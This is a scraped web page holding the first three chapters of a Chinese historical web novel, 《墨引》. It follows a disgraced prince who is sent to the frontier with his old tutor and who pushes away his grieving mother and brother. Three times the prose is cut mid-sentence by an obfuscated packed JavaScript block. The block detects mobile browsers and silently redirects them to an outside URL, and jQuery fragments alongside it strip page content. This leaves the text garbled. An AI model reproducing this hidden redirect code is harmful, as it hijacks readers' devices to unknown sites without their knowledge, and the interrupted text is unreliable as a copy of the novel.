《墨引》 1. 废黜(一) 全京城这二日的小报走俏得紧，事情起于那素来不着调的卫王，前几日西城大火，大火烧了十几户，把京城半边天都烧红了，这原也算不得什么稀罕事，可当日便有风声走漏出来，道此火竟是卫王谢元佑所放。 那小报在坊间传得沸沸扬扬，说甚的都有，有鼻子有眼，市井间霎时喧腾，各种消息不胫而走，街头巷尾都当个乐子，传得绘声绘色，只最后到底也没个准话。 到了这日早朝，便有御史上本弹劾卫王，这才把事儿的老底抖落了出来。 此事是因皇上要为卫王选妃而起。 初时宫里定了五家闺秀，预备选入卫王府，偏这卫王荒唐，迷那星象之学，竟暗地里揣着罗盘，趁夜黑摸到其中一位侍郎家中，量大门朝向，测水井方位，末了硬说那绣楼占的是“白虎煞”，当场便要作法禳解。 也是活该这吕侍郎家倒了霉，卫王谢元佑这一作法失手打翻了烛火，燎着帘幔，又赶上有大风，把吕侍郎家烧得片瓦不存，还连累了左邻右舍十来户人家。 御史弹劾他“脑子昏聩，行止不端”，顺带将卫王往日那些失德的事儿也一并翻出来，在大殿之上添油加醋，煽风点火：“皇上，就说去年有一日，卫王在一新进府的舞姬脸上划叉，平白毁人面容，还有前年，将家中婢女侍从打杀好几人，骇人听闻......”那御史还在一一数落卫王罪状，却听那御座上的太初帝咳了几声，打断了他絮絮叨叨的描述。 殿上鸦雀无声，群臣一个个低首敛袖，目光无一敢望向御座方向。 要说这卫王谢元佑，六年前还是储君最得力的人选，也是个立如芝兰玉树，朗若星河的少年。 太初帝也曾金口说过，此子最是像他，更是不到16岁的年纪就封了王，可谓是盛宠一时无两。 可事情的转折出在三皇叔楚王谋逆案后，这楚王与这卫王虽为叔侄，却情同父子，自这桩事后，这位二皇子的性情便全然大变。 这卫王谢元佑少年时何等温润，见人先带三分笑，说话也顶顶和气，少年意气，满朝文武没一个不夸二皇子有仁者之风。 如今才区区23岁的卫王却变得阴鸷狠戾，单说那双眼瞧人的样子，仿佛在盘算从哪块儿下手最疼。 他嘴角常年抿成一条线，偶尔牵动一下，倒比不笑更叫人心里发毛。他待人也刻薄寡恩起来，跟前伺候的人换了一茬又一茬，最让下人们惧怕的，是他身上那股子阴冷之气，仿佛从骨头缝里往外渗，让人禁不住心里发怵。 自此他行事愈发乖张，动辄发怒伤人，六年来弹赅他的折子就没断过。 此刻，太初帝坐在那御座之上，听完御史之言，半晌未发一言，未了轻叹了口气，道：“先将卫王幽于西苑，明日再行定夺。” 隔日朝堂上，内侍张数安展开黄绫宣旨，声如冷铁，一字一句砸在金砖地上，满朝文武听得心惊肉跳。当中几句最是骇人：“卫王元佑，不孝不恭，失德甚重，着削为某地参军，杖三十，其封爵册印一并追缴。钦此。” 跪在殿中的谢元佑这才缓缓抬起眼帘。那双眸子平静得仿佛无事发生，无怒无惧，脸上连一丝悲伤也寻不见。他目光只往内侍张数安手中那卷黄绫上掠过，嘴角微微扯动，倒像是在笑。 两名金甲武士上前，一左一右站在谢元佑身后。谢元佑缓缓站起身来，紫衣的下摆沾了些灰尘，他只低头看了一眼，便跟着武士往殿外领刑。 他的目光始终没向那高位处看过一眼。 走到殿门口时，阳光迎面扑来，刺得他眯了眯眼。他抬起手，在额前搭了搭，眯着眼望了望天，自言自语般嘀咕了一句：“今儿日头倒挺好。” 身后的武士面面相觑，头一回见这不把刑杖当回事儿的主，一时不知该不该上前押他。 谢元佑放下手，慢悠悠地跨过了殿门。他的影子被日光拉得老长，投在石阶上，他吁出一口气——这六年，竟这样长。 身后，大殿内重新陷入死寂。 龙椅上的太初帝终于抬起了头，目光越过空荡荡的大殿，落在那道渐行渐远的背影上。那道背影始终没有回头，步履从容，仿佛走出这座宫城，对他而言不过是一场期盼已久的远行。 太初帝高坐龙椅，眉头紧锁，目光落在虚空某处，面上虽看不出喜怒，但那捏在龙椅上的手却不觉用了九分力气。 六年前，他与这本是亲厚的儿子，便如今日这般，一步一步走远了的罢。 散朝的钟声终于敲响，百官如释重负，却仍不敢高声言语，只三三两两沉默着退出大殿。 同知枢密院事汪平程走在人群中间，有意放慢了脚步。他素来谨慎，今日这般情形之下，更不愿与人结伴同行——谁让他曾是卫王的启蒙老师呢。 出了殿门，石阶上几个低阶官员从他身侧匆匆走过，拱手行礼都显得敷衍，像是巴不得赶紧离了这是非之地。 汪平程脑子里翻来覆去想着方才朝堂上的情形。他不敢妄猜圣意，这朝堂上多少双眼睛盯着他，只等着看他的笑话。 六年来，谢元佑惹了多少祸事，太初帝又给了他多少回机会。到了今儿个，皇上终是厌弃了这个自己曾经最为中意的儿子了。 想到此，汪平程眼角泛起湿意。这竖子，终究是走到了这一步。 “汪枢密——” 身后传来一个尖细的声音，不高，却听得真真儿的。 汪平程脊背一僵，脚下立时钉住了。他缓缓转过身去，只见一个面白无须的内侍正快步走来，拂尘搭在臂弯里，见他停下，又小跑着撵上来。 那内侍他认得，是御前侍奉的张数安，平日里低眉顺眼的，但能在御前伺候的，哪个是省油的灯？ “张公公。”汪平程拱手，声音还稳，一颗心却已吊了起来。 张数安行到近前，微微欠身，压低声道：“汪枢密，陛下口谕，着您即刻去明政殿书房议事。” “张内侍可知是何事？”他心里直打鼓，这贬皇子的节骨眼上召他，只怕不是什么好事。 “没说是什么事。”张数安低眉顺眼地道，“汪枢密也不必太担忧，昨儿个晚上，皇上的火气已撒得差不多了。” 张内侍又贴在他耳边道：“昨晚皇上砸了不少东西呢，气得不轻，今儿个看着好多了。” 汪平程喉结微微滚动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527874|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下，面上却不动声色，只点头道：“多谢公公指点，辛苦公公了。那劳烦请公公带路。” 张数安笑了笑，那笑意不达眼底：“汪枢密客气，请随咱家来。” 说着便转身，沿着来路往回走。汪平程跟在他身后，目光却盯着张数安的步子，瞧着他步子不见慌乱，心里略微放心些。 明政殿在宫城西侧，与枢密院方向正相反。 走过长廊时，汪平程注意到墙根处有一小片青苔，绿得发亮。他不知怎的就忽然想起自己已经六年没去过明政殿书房了。 最后一次去，还是为了西北边患的事，天子赏了他一盏茶，那茶是龙园胜雪，清甜得很。 他当时觉得那茶是好兆头。 后来，西北的差事果真办的好，他也升了官。 没多久便出了楚王谋逆案那事。他虽不是楚王一党，但却因卫王力保楚王，他这做卫王恩师的多少也受了些牵连，虽说没有治他管束卫王不严之罪，但六年了，皇上再不曾单独召他去书房议过事。 今日忽然传召，偏偏是在卫王被废的当口。 汪平程垂着眼，跟在张内侍身后，无心看路旁的景致，只默默盘算着进殿后每句话该怎么说。 晨风从宫墙之间灌进来，吹得他朝服的袖口猎猎作响，时下已是初冬，他禁不住打了个寒颤。 穿过台门，又经过两重朱漆门，明政殿的屋檐便遥遥在望了。 明政殿书房内，炭火烧得正旺，一股子檀香味，暖融融地扑面而来。汪平程迈过门槛，眼观鼻、鼻观心，不敢四下里乱瞧，只拿余光扫见御案后头那道明黄身影，正低头批着折子。 “臣汪平程，叩见陛下。”他撩袍跪倒，声音不高不低，恰到好处。 半晌，上头没动静。汪平程跪在那儿，膝下的金砖冰凉，凉意顺着骨头缝往上爬。他低着头，不敢动，也不敢再出声，只觉着这殿里静得能听见炭盆里哔剥的响动。 “起来罢。”太初帝终于开了口，声音倒也平和，不见怒色。 汪平程谢了恩，爬起身，垂手立在一旁。 “朕记得，汪枢密原先做过卫王的老师。”太初帝搁下朱笔，抬起眼来，目光落在他脸上。 汪平程心里咯噔一下，忙又跪下：“臣……臣确实曾为卫王讲读。臣有罪，未能劝导卫王向善，致使……” “行了。”太初帝无奈地摆了摆手，截住他的话头，“朕不是要问你的罪，如今他也不是卫王了，若因这不争气的东西论罪，朕是他父亲，论起来岂不罪过更大，你起来说话罢。” 汪平程忐忑地又站起来，想是炭火烧得过旺，他额上已渗出些细密的汗珠子。 太初帝站起身来，背着手走到窗前。那目光似乎看得很远。 “我寻你来，是有其他事。秦州那边，近来不太平。”太初帝望向他，声音低沉，“西夏人时不时过来骚扰，边将报上来的折子，说得好听，什么‘小股流寇’，还有那些吐蕃人，与西夏人沆瀣一气，朕心里清楚的很。是时候该有人去巡一巡了。” 汪平程心里一动，顿时明白过来，忙躬身道：“臣愿为陛下分忧。” 2. 废黜(二) “朕也是这样想的。”太初帝转过身来，看着他，“这些年因那孽子的事，朕确也疏远过你。但你向来谨慎，办事牢靠，朕是信得过的。况且你从前办过西北的差事，是最合适的人选。朕命你为西北巡边使，后日动身，去秦州、原州一带，替朕瞧瞧那边的防务，该整饬的整饬，该换人的换人。” 太初帝接着又道：“还有，青盐之禁，朕思量了许久，该是下决心的时候了。这些年，西夏人拿青盐换我大梁的铜钱、粮食、铁器，边地百姓贪图便宜，私下买卖不绝。盐铁之利，国之命脉，长此以往，不光是银钱外流，连边军的军心都要被盐商收买了去。” 汪平程心头一凛。青盐禁榷的事，朝中议了不止一回，只是牵扯太广，阻力重重，始终没有定论。如今皇上忽然提起，怕是要动真格的了。 “臣愚钝，陛下是要……” “朕要你到了秦州之后，会同当地官府，严查青盐私贩。”太初帝的目光锐利起来，“从即日起，西夏青盐一律不得入境，市面上凡有贩卖者，不论官民，一律按私盐论处。边地百姓所需食盐，由官府从河东运解盐过去，平价供给。此事朕已命户部拟了条陈，不日便颁行天下。” 汪平程心头一紧。青盐之禁乃朝廷大政，可西夏青盐价贱质优，民间趋之若鹜，边将也多睁只眼闭只眼。这差事比巡边更得罪人。 “臣遵旨。只是……”他舔了舔嘴唇，“青盐利厚，牵扯甚广，臣怕查得太狠，边地生乱。” 太初帝瞥他一眼：“朕叫你去，就是要把这烂账算清楚。该杀的头，不必请旨。若有人拿‘生乱’二字来吓唬你，你该办就办了。” 青盐私贩背后牵连着多少豪强、边将、甚至是朝中权贵的利益，他如何不知道？皇上把这差事交给他，分明是把刀递到他手里，叫他去捅马蜂窝。 话说到这份上，汪平程再不敢多言，只叩首道：“臣定不辱命。” 太初帝顿了顿，又道：“只是秦州是青盐入境的头一道关口，积弊最深，朕不能只靠一道旨意。你此番巡边，名义上是巡视防务，暗地里替朕把青盐禁令的底子摸清楚。谁在私贩，谁在包庇，哪家商号是根子，都给朕查出来，必要时.......” 太初帝招了招手，汪平程附耳过去。太初帝低声嘱咐了几句，他听罢心下大惊，却还是跪了下去：“臣领旨。”心里却翻腾得紧。 “陛下……”他张了张嘴，想说什么，可对上太初帝那双不容置疑的眼睛，话到嘴边又咽了回去。 “怎么，怕了？”太初帝嘴角微微扯了一下，不知是笑还是讥诮。 “臣……不敢。臣定当竭尽全力，不负圣恩。”汪平程重重叩下头去，额角磕在金砖上，闷闷地响。 “好。”太初帝点了点头，“此事关系重大，朕只信得过你。你是个办实事的人，你在外头放手去办，凡事有朕给你兜着。若有人敢拦你的路——”他冷笑一声，“你记下名字，回来交给朕就是了。” 汪平程连连称是。 太初帝看人很准，汪平程原本是心怀天下之人，有的是抱负想施展，这几年受了皇上冷落，本以为再无起复之日，便也韬光养晦起来。没承想太初帝偏在这个节骨眼上起复他，虽说让人看不太明白，但若是能让他为国家尽绵力，其他的，他也是顾不得许多了。 太初帝语重心长地喊他的字：“浩之啊，朕知你一向胸中有豪情壮志，如今朕便给你这个机会。” “还有一事。”太初帝顿了顿，声音沉了下来，“卫王虽已废，到底还是朕的儿子。朕不能叫他留在京里惹是生非，也不能叫他再废六年。秦州司法参军一职，正合适他，就让他去。你带他一道走。” 汪平程猛地抬起头，又觉失礼，慌忙垂下。 秦州司法参军——从八品的小官，说好听点是参军，说难听些，不过是发配边地，叫那地方磨磨他的性子。可皇上偏偏叫自己带他去，这哪里是差事，分明是烫手的山芋。 但他再一想，似乎这也不失为个好法子，让谢元佑远离京城，说不定能让其另有番天地。 虽说他怒其不争，但从小看大的孩子，总是希望他好好的，不说有番作为，只莫要再这般颓废下去，便也罢了。 “臣……”他这老狐狸，到底还要装上一装，便舔了舔嘴唇，“臣遵旨。只是卫……子韧他性情乖张，臣怕路上……” “怕甚么？”太初帝的声音忽然严厉起来，“你是他老师，管束他是你的本分。他若敢生事，你只管按军法处置。朕只给了他三十杖，已是念及父子之情。若再不知收敛——”他冷哼一声，没往下说。 汪平程连连叩首：“臣明白，臣定当严加管束。” “你也无须多虑，若他在那边地还要惹事，就让他自个担着吧。朕已尽力了，是生是死皆看他造化了。” “此去边关，路途遥远。朕拨给你一队禁军护送。到了秦州，你把那不争气的东西交给知州，知州自会安排他的差事。你巡你的边，不必时时带着他。至于青盐的事，要暗访，不要大张旗鼓。” “是。” “去吧。后日便动身，不必再来辞行了。”太初帝摆摆手，重新坐回御案后头，拿起朱笔，低下头去。 汪平程跪安出来，他站在廊下，长长地吁了口气，心里说不清是甚么滋味。 他拖着步子往宫外走，脑子里盘算起来——后日一早动身，明日就得收拾行装，还得派人去刑部大牢里提谢元佑。 三十杖打完了，也不知那竖子还能不能走动。走不动也得走，皇上可没说让他养好了再动身。 汪平程摇了摇头，加快脚步。 宫门外，轿子还等着。他上了轿，掀开帘子往外看了一眼，日头偏西，斜斜照着朱红宫墙，心里忽然生出几分雀跃来。 “回府。”他放下帘子，闭上眼。 轿子晃晃悠悠走起来，他心里却翻江倒海——六年前楚王案，谢元佑跪在殿外三日三夜为楚王求情，太初帝连见都不肯见。后来楚王一干人赐死，谢元佑便像换了个人。如今父子间走到这一步，到底是皇上真的厌弃了他，还是另有深意？ 轿子到了府门口，他下来，吩咐管家：“你着人去刑部问问，谢元佑如今在何处，伤情怎样，后日一早要带他上路，你让人去将他接来府上。” 管家应声去了。 汪平程走进书房，坐下，口渴得很，也顾不得许多，端起桌上早已凉透的茶，一饮而尽，铺开纸，开始拟后日动身的章程。 是夜，刑部大牢里阴湿寒凉，墙上油灯半死不活地跳着。谢元佑趴在草席上，背上的杖伤火烧火燎，他却一声不吭，只把脸埋在臂弯里，像是睡着了。 铁链响动，牢门开了。狱卒提着灯笼引进来一个人——是汪府的长随，姓周，平日在汪平程跟前听差。周长随躬着身叫他：“二公子。” 趴在那草席之上的人睁眼看了看他，认出他是老师府上的周长随，复又闭上眼睛。 周长随小心翼翼地道：“二公子，汪大人奉旨后日动身往秦州去巡边，大人说了，二公子也一同前往，授秦州司法参军之职。小的奉大人之命，来请公子移步汪府，将养一日，后日好启程。” 谢元佑慢慢抬起头来，那双眼在暗处幽幽地亮了一下，旋即又暗下去：“秦州？” 卫王府已查封了，从今往后，再没什么卫王了。天高海阔，他谢元佑只剩自己一人。 他嘴角微微牵了牵，像是笑了一下：“倒也罢。挺好的。” 这牢笼，他早就呆够了。 周长随忙叫两个小厮进来搀扶。谢元佑也不推辞，由着他们将他架了起来，一步一步往外走。 到了汪府，已是二更天。汪平程向来休息得早，今夜却是一直等着。 他早已吩咐人收拾了东厢一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527875|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间干净屋子，铺了厚褥，又叫人请了大夫来瞧伤换药。 谢元佑由着他们摆布，也不喊痛，始终没吭一声。 等处理完伤口，所有人都退下，房里只余他们师徒两人。 谢元佑瞧着很是疲惫，闭着眼睛，房里静得都能听见他有些急促的呼吸声，杖伤疼得他冷汗湿了里衣，伺候的小厮端来的粥也放在案几上已经凉了，他也不想用。 屋里冷浸浸的，刚才小厮本要让人生炭火却被谢元佑拒绝了。 “子韧。”汪平程在榻边站定，声音不高不低，“你伤势如何，可还撑得住？” 半晌，谢元佑才慢慢转过身来。眼底青黑，嘴唇干裂，却仍绷着那副不冷不热的神情。他看了汪平程一眼，淡淡道：“死不了。” 谢元佑又把脸转回去：“三十杖，当年在朝堂上也挨过，不是照样活到今日？” 汪平程一愣，旋即苦笑：“为了同一桩事，可真的值当吗？” 谢元佑没有接话。 汪平程望着他的背影，心中百感交集。沉默了片刻，又道：“子韧，老师有一句话，不知当讲不当讲。” “老师你说就是。” “到了秦州，好歹收敛些性子。那里不比京城，没有皇上、皇后护着，边地民风剽悍，军法如山，你若再闹出什么祸事来，只怕……” “只怕什么？”谢元佑忽然笑了一声，那笑声冷得没有温度，“只怕死在那里？老师，我这条命，有与没有，有何区别。” 汪平程心头一紧，压低声音道：“子韧，为师知道你心里苦。可那件事已经过去了，你再怎么折腾，也回不到从前了，反倒把自己搭了进去。你看看你这些年，烧房子、打人、顶撞皇上……哪一件不是往死路上走？我每每听闻，夜不能寐。” 谢元佑的肩膀微微颤了一下，声音却依旧平静：“你们总以为我在胡闹。” 汪平程摇头，“我知道，你心里有冤屈，有恨。可这世上，不是只有玉石俱焚一条路。楚王当年待你如子，你若真为他好，就该好好活着，替他看着这世道，替他做他未做完的事。而不是这样糟践自己，叫他九泉之下也不得安心。” 谢元佑猛地转过头来，眼里是灼人的、烧得通红的火。他盯着汪平程，一字一字道：“老师，你当年也在朝中。三皇叔谋逆，证据何在？不过是一封伪造的书信，几句攀咬的证词，就定了他的死罪！皇上明知是冤，却不肯再审，满朝文武明知是冤，却无一人敢言！我跪在殿外三日三夜，跪到膝盖烂了，跪到吐血，皇上连见都不肯见我一面！老师，你说，这样的世道，我活着做什么？” 汪平程被他说得哑口无言，半晌才叹了口气，低声道：“子韧，当初我只敢私下里劝你莫要强出头。在你心里我一定是个胆小鬼，是个庸臣。可我这些年，无一日不后悔。” 谢元佑看着他，眼里的火渐渐熄了，重新变回那潭死水。“老师不必自责。那日的情形，换了谁也不敢开口。我恨的不是这个，谁心里都明白，真正想要三皇叔死的，是他。” 这些话比骂他还叫人难受。汪平程低下头，喉头滚动了几下，终究没再说出什么来。 汪平程轻声道：“去岁秋天，我去了一趟楚王的坟，那坟前长满了草，为师替他拔了，还有那丫头，也不知道葬在何处，我叫人给她做了个衣冠冢，烧了纸，还给他敬了三杯酒。他们若在天有灵，一定不希望你这样糟践自己。” 谢元佑浑身一震，猛地撑起身子想说什么，却扯动了伤口，疼得闷哼一声，又跌回榻上。他咬着牙，眼眶却红了，声音发颤：“老师……你……” 汪平程鼻子一酸，怕他情绪又坏起来，不忍再说：“你好好休息，天都快亮了，明日还要启程呢。” 说着，轻手轻脚地退了出去。 帘子落下，东厢房里又恢复了沉寂。谢元佑把脸埋进枕头里，肩膀微微耸动着。 3. 废黜(三) 午后，汪府忽闻传报——皇后娘娘驾到。 汪平程一家慌忙整衣出迎，府中众人空地上跪了一地。 但见懿德皇后出现在汪府门口，她穿一件极素浅的大袖绵衫，衣料是上等的纻丝纱罗，外头披了件深青色的霞帔，她发髻梳得不高，髻上只插了几支素银簪子和一朵青玉珠花，脸上未曾施粉，一张脸苍白憔悴，显是昨夜没有睡好。 扶着她的，是五皇子齐王元吉。齐王今年十七，与谢元佑乃是同母嫡出的兄弟。带的随行之人也不多，只跟着个老嬷嬷、两个侍女，还有几个内侍抬着几只箱子，显是为了低调行事。 皇后让众人起身，摆了摆手，只道：“本宫来看一眼那不争气的东西，原就不是甚么好事，不必多礼。汪大人也不必陪着，本宫也知你马上要启程，许多政务需要处理，忙你的去罢。” 汪平程称是，便吩咐管家带路，皇后便带了齐王谢元吉，径直往东厢房去。 老嬷嬷季傅姆跟在皇后身后，怀里抱着个大包袱，脚步细碎，一脸肃然。 东厢房里，谢元佑正趴在榻上，闭眼休息。 帘子一掀，懿德皇后先进来，脚步竟有些踉跄，一进门，看到榻上的儿子，眼眶便立时红了。 “佑儿——”皇后声音发颤，走到榻前，伸手就要摸他的脸。 谢元佑微微偏了偏头，躲开了。 皇后的手僵在半空，嘴唇哆嗦了几下，到底收了回来，在袖子里攥成了拳。 “母亲来了。”谢元佑淡淡开口，声音平得像一潭死水，“儿子身上有伤，不能起身行礼，母亲莫怪。” 如今他已不是皇子，没有资格称她一声母后。 皇后喉头一哽，又是心疼又是生气，眼泪就掉下来。“你……你这孩子，怎么就到了这个地步……” 齐王元吉跟在皇后身侧，十七岁的少年，生得眉目清秀，一进门就哭。 他蹲下身子，一把握住谢元佑的手，声音里还带着哭腔：“二哥！他们怎么把你打成这样！你疼不疼？你的手怎么这样冰？炭火呢，为什么屋内连炭火都没有？” 谢元佑低头瞅着弟弟攥着自己的手，那只手温温的、热热的，他却像叫火烫了一般，慢慢抽了出来。“不妨事，是我叫他们不生火的。”他口气淡淡的，“三十杖罢了，又死不了。” 元吉愣了一下，又去抓他的手，这回攥得死紧，不肯撒。“二哥，父皇要你去秦州，那地方偏远艰苦，我回去再求求父皇，你放心，我定能求他老人家将你留下的。” 谢元佑瞧着他，就像瞧一个生人：“你别自作主张，我自个儿愿意去秦州。” “二哥，你怎么会愿意？那可是秦州啊！你打小儿锦衣玉食，哪里吃得了苦？” 谢元佑甩开他的手：“我怎就吃不了苦，我就算冻死在秦州，也比在京城里头好上万倍，在这京城里头，我活不下去。” 这一声如半空里起了个霹雳，炸得满屋子嗡嗡的。皇后与齐王齐齐脸色煞白，皇后捂住嘴，放声痛哭起来。 齐王耷拉着肩，像被卸了力气：“二哥，我和母后，你便毫不留恋了么？” 谢元佑闭了闭眼，像是累极了，面色愈发不好看。 齐王瞧了他一眼，他一向怵这位二哥，见僵持着，只得急急转开话题：“二哥，我给你带了好些东西！你瞧——”他扭头朝外头喊，“都拿进来！” 几个内侍抬着几只大箱子进来。打开一看，一箱子是冬衣，厚实的棉袍、皮裘、毡靴，叠得齐齐整整；另一箱子是书、笔墨、茶叶，还有几罐子伤药，一瓶止痛的膏子。 元吉一样一样往外拿，絮絮叨叨道：“这袍子是母后让人赶制的，新棉花，暖和得很。这茶是你素日爱喝的，我特地从母后宫里匀出来的。还有这药，是太医院新配的，治杖伤最灵……” “还有，还有，季傅姆……”他又转头找人。 季傅姆本站得远远的，听齐王叫，抱着包袱上前来。元吉接过她手上的包袱，打开给谢元佑看：“还有这些，二哥，好些银票，你都拿上。” 谢元佑看着齐王忙活，脸上丝毫不见波澜，只道：“多谢殿下了。” 这一声“殿下”，叫得元吉手上一顿，眼泪扑簌簌掉下来。“二哥，你叫我元吉就好，怎么倒生分了……” 皇后在一旁抹了泪，深吸一口气，道：“子韧，你此去秦州，千里之远，母后不放心。身边没个可靠的人伺候，怎么使得？” 她回头看了一眼季傅姆：“季嬷嬷跟了我三十年，最是稳妥的。你小时候也是她带大的，让她跟着你去，好歹有个照应，我方才能放心。” 季傅姆上前一步，福了福身，声音沉稳：“老奴定当尽心伺候公子。” 谢元佑抬起眼，看了季傅姆一眼：“不必了。” 他收回目光，声音不大，却不容商量：“儿子如今是庶人，戴罪之身，带个嬷嬷上路，像什么话？朝廷知道了，又是一桩罪过。母亲就不怕落人话柄？” 皇后急道：“你这孩子，怎么这般倔！此事我已经禀过皇上了，季嬷嬷是母后身边的人，谁敢说什么？你身上有伤，又不会自己料理。你父皇也是，去秦州便去，为何不能叫你养好伤再去？这一身伤叫母后怎么放心……” “母亲放心。”谢元佑打断她，嘴角微微一扯，那笑意冷得瘆人，“儿子死不了的。母亲不必牵挂。您以后，就当没生过这个儿子罢。我走了，母后便不必日日劳心费神了。” 这话说得极轻极淡，却像刀子一样，一刀一刀剜在皇后心上。她踉跄了一步，扶着桌沿才站稳，眼泪止不住地往下淌。“你……你怎么能说这样的话……” 季傅姆赶紧扶住皇后，宽声安慰：“公子如今受了伤，身子不舒坦，皇后不要往心里去。” 元吉也急了，站起来拉着谢元佑的袖子：“二哥！母后是为你好，你怎么这么狠心！” 谢元佑垂下眼帘，声音平静得像在说旁人的事：“狠心？殿下你还小，不懂。在这世上，不狠心的人，是活不成的。” 这世上的真心有多难得，他比谁都清楚。牵挂越多，在这世上便越难走。 他思及此，顿了顿，抬起手，轻轻拂开元吉的手指。那动作轻柔，却透着说不出的决绝。“东西留下，人不必跟了。季嬷嬷年岁大了，经不起长途颠簸。儿子自有儿子的命。” 皇后站在那里，嘴唇哆嗦了半天，终究没再说出一个字。她知道自己这个儿子的脾性——六年前就变了，变得又冷又硬，任谁来也焐不热了。 她想起从前的佑儿，一见她就一双眼发亮，还会在她跟前撒娇，如今，她只得无声地掉眼泪，不多时，眼睛便肿了起来。季傅姆柔声安慰，也无济于事。 谢元佑听得那抽泣声，只觉脑子里嗡嗡的。他伤势本就不轻，同他们说了这会子话，伤神不已，一时竟觉天旋地转，有些支撑不住。他只得摆摆手：“罢了，你们走吧，我都收下，人和东西我都留下了，我想清净会儿。” 元吉还想说什么，被皇后拉住了。 “罢了。”皇后瞧他面色愈发苍白，生怕他受了杖伤，激起情绪来又犯那奔豚气疾，便忍着伤心，哑着嗓子道，“元吉，我们走罢，让你二哥休息。子韧，你……你保重。”说完转过身，脚步踉跄地往外走。到了门口，到底没忍住，又回头望了一眼。 谢元佑已经重新闭上眼睛，面色比先前更白上了几分。 元吉咬着嘴唇，红着眼眶，把那些东西一样一样又装回箱子里，小声道：“二哥，我把箱子搁在这儿了。你……你到了秦州，好歹给我写封信，报平安就成。” 谢元佑没有应声。 元吉站了一会儿，终于转身跟着皇后出去了。 帘子落下，屋里重新安静下来。谢元佑望着那两只箱子，眼睛模糊起来。半晌，他轻哼了一声，不知是扯动了伤口疼的，还是旁的什么，又闭上了眼睛。 汪平程一直候在二门里头，不敢走远，也不敢靠近。 谢元佑现在是何性子，他岂不知，拒人千里，任他是谁。 他料想皇后必在谢元佑房中呆不久的，便在此候着，远远看见懿德皇后的身影，忙整衣迎上前去，躬身长揖道：“皇后娘娘。” 皇后停住脚步，拿帕子按了按眼角，哑声道：“汪大人，本宫有几句话要与你说。” 汪平程心头一凛，忙道：“娘娘请吩咐。” 皇后摆了摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527876|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手，叫元吉先带着人往外头等。元吉看了看母亲，又回头望了一眼东厢的方向，红着眼眶去了。 院子里只剩下皇后与汪平程二人。今日天气不好，黄沙蔽日，四下里灰蒙蒙的，叫人看着平添了些凄凉。 皇后望着东厢那扇窗，半晌才开口：“本宫记得，当年佑儿开蒙，是你做的先生。那时他才六岁，胖乎乎的，见了人先笑，嘴也甜，满宫里头没有不疼他的。” 汪平程垂首道：“臣记得。殿……二公子幼时聪慧过人，《论语》读三遍便能背诵，连太祖皇上那时常夸他必成大器。” “皇上说，说此子最像他，那时，皇上还未登基。”皇后苦笑一声，“可他像皇上什么呢？我猜皇上自个儿也不记得了，他像的是年少时的皇上，心里头有热血，眼睛里揉不得沙子。”她顿了顿，声音低下去，“可这宫里，最容不下的就是热血。” 汪平程垂着头不敢接话。 皇后又道：“你也知他为何会变成今日这副模样的。” 汪平程沉吟片刻，轻声道：“臣知道，是因楚王谋逆一案。” 皇后闭上眼睛，一滴泪从眼角滑下来。“楚王……那是他的三皇叔。子韧小时候，皇上还是个王爷，忙于政事，没空陪他，是楚王带着他骑马、射箭、认字。楚王待他，比亲生的还要亲。后来楚王谋逆案起，满朝上下没一个人敢替他说话，只有子韧，跪在殿外三日三夜，求皇上重审此案。” “他知道楚王是冤枉的。”皇后声音发颤，“他亲口问本宫说：‘母后，三皇叔是不是冤枉……你知的，满朝文武也知的，为什么所有的人都哑了，包括你。” 汪平程想起当年那桩事，心中也是一阵叹息。楚王案发时，他正受圣眷，却也不敢多言，只在私下里劝过谢元佑莫要强出头。那孩子当时只看了他一眼，目光里尽是失望。 皇后接着道：“楚王赐死后，子韧回来，把自己关在屋里三天三夜不出来。等再出来时，就变了个人似的——不爱笑了，不爱说话了，看人的眼神都变了。本宫那时就晓得，他的心死了，楚王死了，阿濡没了，在他心里，包括本宫，还有他的老师，所有的人都死了，他看我像看个陌生人。” “可他心里太苦了，只一味地闹，一味地荒唐，烧房子、打人、杀人、顶撞皇上……本宫知道，他不是坏，他是恨。恨这朝堂上的虚伪，恨那些见风使舵的小人，也恨他自己无能为力。” 汪平程听到这里，喉头也有些发紧。他低声道：“娘娘，我都知道。” 皇后深吸一口气，转过身来看着汪平程，目光忽然变得锐利起来：“汪大人，本宫知道你此番去秦州，身负皇命，是去办大事的。本宫不敢耽误你的正事。只求你一件事。” “娘娘请讲，臣万死不辞。” 